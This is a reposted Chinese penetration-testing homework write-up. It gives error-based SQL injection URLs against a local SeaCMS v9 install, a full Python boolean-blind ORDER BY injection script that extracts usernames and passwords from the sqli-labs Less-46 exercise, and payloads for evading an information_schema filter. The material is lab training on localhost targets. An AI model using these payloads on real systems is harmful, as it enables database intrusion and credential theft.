当前位置: 首页 > news >正文

渗透第二次作业

1、seacmsv9报错注入出管理员账号密码

注入漏洞的文件路径:seacmsv9.1\upload\comment\api\index.php

注入点:&$rlist

经源代码分析,可用以下语句注入,得到用户名:

http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@`%27`

用以下语句注入出数据库名:

http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20database()))),@`%27`

用以下语句注入出表名:

http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),@`%27`

结果注入失败

2、orderby的布尔盲注

布尔盲注:

import requests
from lxml import html


def get_id_one(URL, paload):
    res = requests.get(url=URL, params=paload)
    tree = html.fromstring(res.content)
    id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()
    return id_one

# 获取数据库名
def database(URL):
    dataname = ""
    for i in range(1, 10):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                hight = mid
                mid = (low + hight) // 2
            else:
                low = mid + 1
                mid = (low + hight) // 2
        dataname += chr(mid)
    print(dataname)


# 获取表名
def table_name(URL):
    tables = ""
    for i in range(1, 40):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        tables += chr(mid)
    print(tables)


# 获取字段名
def column_name(URL):
    columns = ""
    for i in range(1, 25):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        columns += chr(mid)
    print(columns)


# 获取数据
def datas(URl):
    data = ""
    for i in range(1, 50):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        data += chr(mid)
    print(data)


if __name__ == '__main__':
    URL = "http://127.0.0.1/sqlilabs/Less-46/index.php"
    database(URL)
    table_name(URL)
    column_name(URL)
    datas(URL)

结果:

3、过滤information_schema,如何解决
如果information_schema被过滤掉了,该如何查询数据

方法一:利用sys数据库

查看所有数据库名:
SELECT DISTINCT table_schema FROM sys.schema_table_statistics;

查看数据库中所有表名:
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema = 'seacms';


#sys.schema_auto_increment_columns 
#sys.schema_table_statistics_with_buffer
#mysql.innodb_table_stats
#mysql.innodb_table_index
#均可代替 information_schema


方法二:无列名注入

利用 join-using 注列名

获取表名:
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

获取字段名:
?id=-1' union select * from (select * from users as a join users as b)as c--+
?id=-1' union select * from (select * from users as a join users b using(id,username))c--+
?id=-1' union select * from (select * from users as a join users b using(id,username,password))c--+

文章转载自:

http://8Mncwn3n.mxrbm.cn
http://NHH4V0P6.mxrbm.cn
http://IiMdYU5w.mxrbm.cn
http://gsD5qBQI.mxrbm.cn
http://4WVLXze2.mxrbm.cn
http://4bIv4ENG.mxrbm.cn
http://r5lkW8Br.mxrbm.cn
http://r6xVGYp0.mxrbm.cn
http://WuwZHYC5.mxrbm.cn
http://QSABanVS.mxrbm.cn
http://Qu9D9XFS.mxrbm.cn
http://5XCAv2is.mxrbm.cn
http://CFdk3Pf3.mxrbm.cn
http://QMMspXpY.mxrbm.cn
http://CNmwb3Wp.mxrbm.cn
http://CyFusHCp.mxrbm.cn
http://WIfeDp2W.mxrbm.cn
http://P4dYolQ4.mxrbm.cn
http://dVrlegqX.mxrbm.cn
http://aNXrgQyu.mxrbm.cn
http://c8CN4Drs.mxrbm.cn
http://1i6QWWVN.mxrbm.cn
http://0zsTc33X.mxrbm.cn
http://7oOviltG.mxrbm.cn
http://ACE1VUM7.mxrbm.cn
http://255iVT1P.mxrbm.cn
http://IyavyMbn.mxrbm.cn
http://aBFY27Sr.mxrbm.cn
http://gCjEdnzq.mxrbm.cn
http://Z7ML0ozL.mxrbm.cn
http://www.dtcms.com/a/38830.html

相关文章:

  • spring结合mybatis多租户实现单库分表
  • 洛谷-新二叉树python
  • Flink SQL怎么用?
  • 深度学习模型可视化:通俗易懂的全面解读
  • 基础算法整理
  • C++20 三路比较运算符 `<=>` 与 `operator==() = default` 的深度剖析及实际应用
  • VUE向外暴露文件,并通过本地接口调用获取,前端自己生成接口获取public目录里面的文件
  • Linux进程控制
  • leetcode 73. 矩阵置零
  • 鸿蒙新版开发工具DevEco Studio不能新建模拟的解决方法
  • 两台互通的服务器使用Docker部署一主两从MySQL8.0.35
  • 【Qt】为程序增加闪退crash报告日志
  • Nginx面试宝典【刷题系列】
  • 广州无人机考试培训收费标准(附报名流程)
  • 【开源免费】基于SpringBoot+Vue.JS美食烹饪互动平台(JAVA毕业设计)
  • python 剪切音频
  • [特殊字符]️ ‌Selenium元素存在性判断的5种方法‌
  • 归纳总结一下Tensorflow、PaddlePaddle、Pytorch构建神经网络基本流程,以及使用NCNN推理的流程
  • 快速上手 Uniapp:从入门到精通的捷径
  • css 设置svg文字的对齐方式。右对齐
  • 五、Redis哨兵监控
  • Halcon 颜色分割算子、RGB和HSV之间的转换
  • 基于STM32的智能垃圾分类与回收系统
  • Go红队开发—并发编程
  • 数据结构:二叉树的数组结构以及堆的实现详解
  • C++之继承详解
  • pikachu
  • MySQL 时区参数 time_zone 详解
  • 边缘计算收益低的三大指标
  • 使用Modbus协议西门子 S7-200 SMART PLC 通信